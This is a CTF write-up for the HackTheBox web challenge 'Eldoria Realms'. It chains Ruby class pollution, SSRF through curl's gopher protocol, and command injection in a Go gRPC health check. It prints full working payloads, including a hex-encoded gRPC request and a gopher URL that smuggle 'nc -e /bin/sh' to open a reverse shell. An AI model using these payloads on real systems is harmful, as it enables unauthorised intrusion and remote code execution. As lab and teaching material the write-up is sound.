# Eldoria Realms Here's my writeup for the *web* challenge *Eldoria Realms* on **Cyber Apocalypse CTF 2025: Tales from Eldoria** event of *HackTheBox* ## Introduction Let's start by exploring the application and figuring out what the app can do structure of the project: ``` . ├── build_docker.sh ├── challenge │ ├── data_stream_api │ │ └── app.go │ ├── eldoria_api │ │ ├── app.rb │ │ ├── Gemfile │ │ └── public │ │ ├── icon.png │ │ ├── index.html │ │ ├── MedievalSharp-Regular.ttf │ │ └── RobotoSlab-Regular.ttf │ └── live_data.proto ├── conf │ └── supervisord.conf ├── Dockerfile ├── entrypoint.sh └── flag.txt ``` > The challenge source code is big enough to displaying them here, but i'm going to show the important code snippets and parts that needed to exploit process Alright!, there are two service that one is public and exposed to the internet and the other one is just listening on the localhost and only internal network can access it 1. `data_stream_api`: written in Golang (internal usage) 2. `eldoria_api`: written in Ruby (exposed to public) ### data_stream_api The stream_api is a golang based program that serving a `gRPC` service that accessible just from *localhost* at port *50051* > you might know the `gRPC` protocol, it acts like other APIs, like `REST`, but in a different protocol and serialization data, you can have a look at [Introduction to gRPC](https://grpc.io/docs/what-is-grpc/introduction/) Official page that describe the gRPC protocol by itself Here's the main code for grpc ```go package main import ( "app/pb" "context" "fmt" "log" "net" "os/exec" "time" "google.golang.org/grpc" ) type server struct { pb.UnimplementedLiveDataServiceServer ip string port string } func (s *server) StreamLiveData(req *pb.LiveDataRequest, stream pb.LiveDataService_StreamLiveDataServer) error { for { liveData := &pb.LiveData{ Timestamp: time.Now().Format(time.RFC3339), Message: fmt.Sprintf("Live update from Helios at %s", time.Now().Format("15:04:05")), Type: "update", } if err := stream.Send(liveData); err != nil { return err } time.Sleep(1 * time.Second) } } func (s *server) CheckHealth(ctx context.Context, req *pb.HealthCheckRequest) (*pb.HealthCheckResponse, error) { ip := req.Ip port := req.Port if ip == "" { ip = s.ip } if port == "" { port = s.port } err := healthCheck(ip, port) if err != nil { return &pb.HealthCheckResponse{Status: "unhealthy"}, nil } return &pb.HealthCheckResponse{Status: "healthy"}, nil } func healthCheck(ip string, port string) error { cmd := exec.Command("sh", "-c", "nc -zv "+ip+" "+port) output, err := cmd.CombinedOutput() if err != nil { log.Printf("Health check failed: %v, output: %s", err, output) return fmt.Errorf("health check failed: %v", err) } log.Printf("Health check succeeded: output: %s", output) return nil } func main() { ip := "0.0.0.0" port := "50051" addr := fmt.Sprintf("%s:%s", ip, port) lis, err := net.Listen("tcp", addr) if err != nil { log.Fatalf("failed to listen on %s: %v", addr, err) } s := grpc.NewServer() pb.RegisterLiveDataServiceServer(s, &server{ip: ip, port: port}) log.Printf("gRPC server listening on %s...", addr) if err := s.Serve(lis); err != nil { log.Fatalf("failed to serve: %v", err) } } ``` And there is a `live_data.proto` file that is the structure for serializing and deserializing the request/response on each side (client, server) ```protobuf syntax = "proto3"; package live; service LiveDataService { rpc StreamLiveData(LiveDataRequest) returns (stream LiveData); rpc CheckHealth(HealthCheckRequest) returns (HealthCheckResponse); } message LiveDataRequest {} message LiveData { string timestamp = 1; string message = 2; string type = 3; } massage HealthCheckRequest { string ip = 1; string port = 2; } message HealthCheckResponse { string status = 1; } ``` > just keep in mind that for communication between server and client, each client (stub) need this file to know the data serialization structure, otherwise they cannot serialize the data, however there is a way to communicate with server without the .proto file, that will mention bellow So, there are two methods one is *StreamLiveData* that receives the `LiveDataRequest` message, that has no fields, and returns `LiveData` as stream and the other one is *CheckHealth*, that receives the `HealthCheckRequest` message and returns the `HealthCheckResponse` as the response If you look closely to the golang source code of the `CheckHealth` method, you'll see the *Command injection* on it, here: ```go func healthCheck(ip string, port string) error { cmd := exec.Command("sh", "-c", "nc -zv "+ip+" "+port) ... } ``` so if we somehow reach the `localhost:50051` the *CheckHealth* method, we would make Reverse Shell or something else to get the `flag` > you don't know about revshells? check this out [Intro to Reverse shell](https://www.imperva.com/learn/application-security/reverse-shell/) > also you can generate revshells with each lang/tools that you want at here https://www.revshells.com/ Oh, btw: the flag is located on the **/flag{random-hex}.txt** path, as described in Dockerfile's entrypoint (*entrypoint.sh*) Alright let's move to the other api ### eldoria_api This program is the public program that we are able to communicate with that Let's take a look at the important parts of the source code ```ruby require "json" require "sinatra/base" require "net/http" require "grpc" require "open3" require_relative "live_data_services_pb" # Other codes snippet $player = nil class Adventurer @@realm_url = "http://eldoria-realm.htb" # Other codes snippet def merge_with(additional) recursive_merge(self, additional) end private def recursive_merge(original, additional, current_obj = original) additional.each do |key, value| if value.is_a?(Hash) if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj) else new_object = Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor key end else current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor key end end original end end class Player < Adventurer def initialize(name:, age:, attributes:) super(name: name, age: age, attributes: attributes) end end # Other codes snippet class EldoriaAPI < Sinatra::Base # Other codes snippet post "/merge-fates" do content_type :json json_input = JSON.parse(request.body.read) random_attributes = { "class" => ["Warrior", "Mage", "Rogue", "Cleric"].sample, "guild" => ["The Unbound", "Order of the Phoenix", "The Fallen", "Guardians of the Realm"].sample, "location" => { "realm" => "Eldoria", "zone" => ["Twilight Fields", "Shadow Woods", "Crystal Caverns", "Flaming Peaks"].sample }, "inventory" => [] } $player = Player.new( name: "Valiant Hero", age: 21, attributes: random_attributes ) $player.merge_with(json_input) { status: "Fates merged", player: { name: $player.name, age: $player.age, attributes: $player.attributes } }.to_json end # Other codes snippet get "/connect-realm" do content_type :json if Adventurer.respond_to?(:realm_url) realm_url = Adventurer.realm_url begin uri = URI.parse(realm_url) stdout, stderr, status = Open3.capture3("curl", "-o", "/dev/null", "-w", "%{http_code}", uri) { status: "HTTP request made", realm_url: realm_url, response_body: stdout }.to_json rescue URI::InvalidURIError => e { status: "Invalid URL: #{e.message}", realm_url: realm_url }.to_json end else { status: "Failed to access realm URL" }.to_json end end # Other codes snippet run! if app_file == $0 end ``` > I've removed the unnecessary codes snippet that doesn't seems important for exploitation, they are just for to the scenario of the challenge There were a lot of endpoint that just act as the challenges scenario, but the above endpoints were more interesting to me, so let's just move to the exploitation process before anything else ## Exploitation You might guess how to exploit, but let's specify the steps to exploit 1. The `/merge-fates` is vulnerable to the class pollution, so that we can change the self instance or other class attribute's value 2. The `/connect-realm` seems secure by itself, but it's an SSRF attack due to the previous step. we can change the `url` of the `curl` command to access the internal network (like the grpc `localhost:50051`) 3. Trigger the command injection on the **CheckHealth** of the grpc method on `localhost:50051` to access the shell and get *RCE* Alright! it seems simple right!? but the second part was terrible for us, we were trying a bunch of thing to make that connection to the grpc possible and send a valid request to grpc to open up a revshell Anyway let's start step by step ### Step1: Class pulution After looking to the ruby source code, we can see a vulnerable function that called **recursive_merge** it's vulnerable to **Class pollution**, I've see this kind of attack in python in earlier CTFs, but it was my first time to exploit this vuln on ruby, so i came up with a great document ([Ruby Class pulution](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)) that describes this vulnerability, let's explain the flow of this vulnerable function ```ruby= def recursive_merge(original, additional, current_obj = original) additional.each do |key, value| if value.is_a?(Hash) if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj) else new_object = Object.new current_obj.instance_variable_set("@#{key}", new_object) current_obj.singleton_class.attr_accessor key end else current_obj.instance_variable_set("@#{key}", value) current_obj.singleton_class.attr_accessor key end end original end ``` on the line `3` of this function, it checks for the value type, and if it's a *Hash object*, it will try to get the value of the current instance and merging the data to the specified key, so because it will try to get the value of the `current_obj`, it's possible to get other attributes instead of `{name, age, attributes}` For example if we pass this payload to the function ``` {"class":{"superclass":{"url":"http://malicious.com"}}} ``` the function tries to get the *class* of the `current_obj` that is *self*, and because it's a hash object, the process repeat for the `class` object and in the repeated function call the `superclass` value is also a hash, so this will try to get *superclass* value of the `class` object, and set the `url` to `http://malicious.com`, it's like that we enter this ruby expression ```ruby current_obj.class.superclass.url = "http://malicious.com" ``` And yes we can now change the `@@realm_url` also (will look at that bellow) This payload also seems fun :) ``` {"class":{"superclass":{"superclass":{"subclasses":{"sample":{"somekey":"some-value"}}}}}} ``` so the chain is like this ```ruby! current_obj.class.superclass.superclass.subclasses.sample.somekey = "some-value" # the .subclasses returns an arrays of classes (and .sample returns a random item of the arrays) ``` However, for more information you can take a look [Ruby Class pulution](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) ### Step2: SSRF As we can now change the `@@realm_url` to our intended url, it's possible to make internal requests And the url (internal service) that should be is use the *grpc* service, but at the first try, my teammate and i, didn't figure out the how it's possible to make a valid grpc request via `curl` So after digging more of this issue, i've tried some useless things that may helps me but it was just wasting my time First I thought that `Open3` had some vulnerabilities. so I checked out the source code of `Open3.capture3` and i came up with this part of the code at here https://github.com/ruby/open3/blob/master/lib/open3.rb#L648 ```ruby ... def capture3(*cmd) if Hash === cmd.last opts = cmd.pop.dup else opts = {} end ... end ``` If the last argument's type was *Hash*, that will pass it to the `Process.spawn`'s options, so i tried to look at the valid options in the document But wait a second :/ That's not possible, because we cannot set the `@@realm_url` to an object, only `{arrays, string, int, etc}` were valid because of the `recursieve_merge` function, that explained earlier, however if somehow that was possible to use a `Hash` as the last cmd args, what should i do with that :) the options wasn't helps me the in `Process.spawn`, as i said, it was just wasting my time, so i skip this part immediately So guess what? I've wastime my time over and over again, like trying to find an attribute that is critical for gRPC and trying to change it to whatever that I want with the `/merge-fates`. (actually tried to pollute other classes if it was possible). but yeap; that didn't help. so i gave up and leave the computer for a couple of hours ... so after i've came back to the challenge, i've tried to look at others supported protocol in curl, like `dict` and `gopher` so i've tried *dict*, but didn't help me, and then *gopher* so i knew that it's possible to send any data with gopher like this ![Screenshot_20250326_173901](https://hackmd.io/_uploads/BJY9qtbaJl.png) As you can see, anything after the *gopher://localhost:1337/_* became as the data of the socket, so the only thing that left it's to create a valid payload for the grpc ### Step3: gRPC payload so i've looked at the grpc document to figure out how to serialize a valid data or how can i create an http request via curl, python or whatever to figuring out the valid structure for sending the data, as you may know the data for grpc is serializing via the `protocol buffer`, so i need to make a serialized data that was valid but didn't figure out, so i've tried some clients tools like `grpc_requests` on python or `grpcurl` utility ```python from grpc_requests import Client client = Client.get_from_endpoint("localhost:50051", ssl=False, lazy=False) print(client.services) ``` so it didn't works, way not?! because if we don't pass the `.proto` files to the grpc_requests, it will try to get messages descriptor automatically from the grpc service via something called `Reflection API`, but the reflection api wasn't enable, so we need to pass the proto files directly more info at [Reflection](https://grpc.io/docs/guides/reflection/) I've came to `grpcurl`, it was more easy to use so i've tried something like this, just for playing around the grpc service ```sh! $ grpcurl -d '{"ip":"localhost","port":"80"}' -proto challenge/live_data.proto -plaintext localhost:50051 live.LiveDataService/CheckHealth { "status": "healthy" } ``` the grpcurl will serialize the json automatically and make a request to the `live.LiveDataService/CheckHealth` method, and the server will return the serialized data and grpcurl will unserialize it and return a proper json so after making sure that i can make request to grpc via grpcurl, i've tried to capture the serialized payload with the `nc` like bellow i've used the above code to send the grpc request to my own listening socket that handled via nc and this is what i got ![Screenshot_20250325_160128](https://hackmd.io/_uploads/rJHFJqZpJx.png) Huh, it's seem the grpc request has been made, I thought it's the final, but where the hell is my payload for `{"ip":"localhost","port":"80"}`, it doesn't seem be there, so i gave up one more time, and took a nap :) after i came back, i've tried to capture the requests via `Wireshark` for the real grpc server (not my stupid nc listener :/ ), because i thought that grpc is not handling my request in one straight request, and there should be other request chain I tried to listen on the *loopback* device to capture the network traffic, then execute the `grpcurl` command to the real grpc with the exploit payload that tigger RCE And yeap, i've got it, there were around four requests that were made from *me* to the grpc service with port `50051` ![Screenshot_20250326_182129](https://hackmd.io/_uploads/S1TFV5bTkl.png) these were the requests that made from me to the grpc server `(tcp.port == 50051)` so i've look at the data that send via tcp in wireshark Data field of each request from me and grpc server ```raw! Raw packet's data 1 request: 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a 2 request: 000000040000000000 3 request: 000000040100000000 4 request: 000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336 ``` the 4 request's data is my serialized data that has the payload to get RCE let's decode them altogether ```sh echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000000040000000000000000040100000000000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336 | xxd -r -p | xxd 00000000: 5052 4920 2a20 4854 5450 2f32 2e30 0d0a PRI * HTTP/2.0.. 00000010: 0d0a 534d 0d0a 0d0a 0000 0004 0000 0000 ..SM............ 00000020: 0000 0000 0401 0000 0000 0000 7001 0400 ............p... 00000030: 0000 0183 8645 9862 8377 2af9 cddc b7c6 .....E.b.w*..... 00000040: 91ee 2d9d cc42 b17a 7293 ae32 8e84 cf41 ..-..B.zr..2...A 00000050: 8f0b cdae 2136 b880 15c2 27ee 3600 361f ....!6....'.6.6. 00000060: 5f8b 1d75 d062 0d26 3d4c 4d65 647a 959a _..u.b.&=LMedz.. 00000070: cac9 6d94 31dc 2bbe bb2a 4d65 645a 63b0 ..m.1.+..*MedZc. 00000080: 15dc 0ae0 4002 7465 864d 8335 05b1 1f40 ....@.te.M.5...@ 00000090: 8e9a cac8 b0c8 42d6 958b 510f 21aa 9b83 ......B...Q.!... 000000a0: 9bd9 ab00 0032 0001 0000 0001 0000 0000 .....2.......... 000000b0: 2d0a 096c 6f63 616c 686f 7374 1220 3830 -..localhost. 80 000000c0: 3b20 6e63 202d 6520 2f62 696e 2f73 6820 ; nc -e /bin/sh 000000d0: 6c6f 6361 6c68 6f73 7420 3133 3336 localhost 1336 ``` This was the complete grpc request that we need to work on it, so let's just pipe this to the grpc service via `nc` ```sh! echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000000040000000000000000040100000000000070010400000001838645986283772af9cddcb7c691ee2d9dcc42b17a7293ae328e84cf418f0bcdae2136b88015c227ee3600361f5f8b1d75d0620d263d4c4d65647a959acac96d9431dc2bbebb2a4d65645a63b015dc0ae040027465864d833505b11f408e9acac8b0c842d6958b510f21aa9b839bd9ab000032000100000001000000002d0a096c6f63616c686f7374122038303b206e63202d65202f62696e2f7368206c6f63616c686f73742031333336 | xxd -r -p | nc localhost 50051 &=LMed �_�u�b unhealthy▒@���Ȳ4ڏ0@���ȵ%B1 ``` as you can see the request has been made, and also the rev shell spawned ```sh root@c47bab041488:/app/data_stream_api# nc -lvp 1336 listening on [any] 1336 ... connect to [127.0.0.1] from localhost [127.0.0.1] 33776 ls app.go data_stream_api go.mod go.sum live_data.proto pb ^C ``` so the only things that left, is to combine this and make a valid gopher link that is valid for curl and after playing around the gopher, my final payload for gopher url was this ```sh! curl "gopher://localhost:50051/_%50%52%49%20%2a%20%48%54%54%50%2f%32%2e%30%0d%0a%0d%0a%53%4d%0d%0a%0d%0a%00%00%00%04%00%00%00%00%00%00%00%00%04%01%00%00%00%00%00%00%70%01%04%00%00%00%01%83%86%45%98%62%83%77%2a%f9%cd%dc%b7%c6%91%ee%2d%9d%cc%42%b1%7a%72%93%ae%32%8e%84%cf%41%8f%0b%cd%ae%21%36%b8%80%15%c2%27%ee%36%00%36%1f%5f%8b%1d%75%d0%62%0d%26%3d%4c%4d%65%64%7a%95%9a%ca%c9%6d%94%31%dc%2b%be%bb%2a%4d%65%64%5a%63%b0%15%dc%0a%e0%40%02%74%65%86%4d%83%35%05%b1%1f%40%8e%9a%ca%c8%b0%c8%42%d6%95%8b%51%0f%21%aa%9b%83%9b%d9%ab%00%00%32%00%01%00%00%00%01%00%00%00%00%2d%0a%09%6c%6f%63%61%6c%68%6f%73%74%12%20%38%30%3b%20%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%6c%6f%63%61%6c%68%6f%73%74%20%31%33%33%36" -o- -v ``` and yeap, thats works to ### Step4: Final payload and get flag According to the first vulnerability in the ruby for **Class pollution** , we has this chance to change the curl's url to the `gopher://<whatever>` that we generated ```json! {"class":{"superclass":{"realm_url":"gopher://localhost:50051/_%50%52%49%20%2a%20%48%54%54%50%2f%32%2e%30%0d%0a%0d%0a%53%4d%0d%0a%0d%0a%00%00%00%04%00%00%00%00%00%00%00%00%04%01%00%00%00%00%00%00%70%01%04%00%00%00%01%83%86%45%98%62%83%77%2a%f9%cd%dc%b7%c6%91%ee%2d%9d%cc%42%b1%7a%72%93%ae%32%8e%84%cf%41%8f%0b%cd%ae%21%36%b8%80%15%c2%27%ee%36%00%36%1f%5f%8b%1d%75%d0%62%0d%26%3d%4c%4d%65%64%7a%95%9a%ca%c9%6d%94%31%dc%2b%be%bb%2a%4d%65%64%5a%63%b0%15%dc%0a%e0%40%02%74%65%86%4d%83%35%05%b1%1f%40%8e%9a%ca%c8%b0%c8%42%d6%95%8b%51%0f%21%aa%9b%83%9b%d9%ab%00%00%32%00%01%00%00%00%01%00%00%00%00%2d%0a%09%6c%6f%63%61%6c%68%6f%73%74%12%20%38%30%3b%20%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%6c%6f%63%61%6c%68%6f%73%74%20%31%33%33%36"}}} ``` And submit this on `/merge-fates`, after submission has been done!, we only need to call the `/connect-realm` endpoint this endpoint also returns the url, so you can make sure that the pollution worked or not ``` root@c47bab041488:/app/data_stream_api# nc -lvnp 1336 listening on [any] 1336 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43360 ls / app bin boot curl-7.70.0 curl-7.70.0.tar.gz dev entrypoint.sh etc flag4c574b8c23.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var cat /flag4c574b8c23.txt HTB{f4k3_fl4g_f0r_t35t1ng} ``` ## Conclusion Thanks for reading my writeup as you might know, I did a lot of silly things during solving the challenge, i came up with a lot up mistakes that just wasted my time, but after all i've learned a lot of things about how `gRPC` works and learned some things about ruby, i really like the ruby challenges in CTF btw :) Also Special thanks to the organizer of this great event, the web challenges was quite fun and learned a lot of them ## Resources - https://grpc.io/docs/what-is-grpc/introduction/ - https://www.imperva.com/learn/application-security/reverse-shell/ - https://www.revshells.com/ - https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html - https://grpc.io/docs/guides/reflection/ - https://infosecwriteups.com/how-gopher-works-in-escalating-ssrfs-ce6e5459b630 - https://github.com/fullstorydev/grpcurl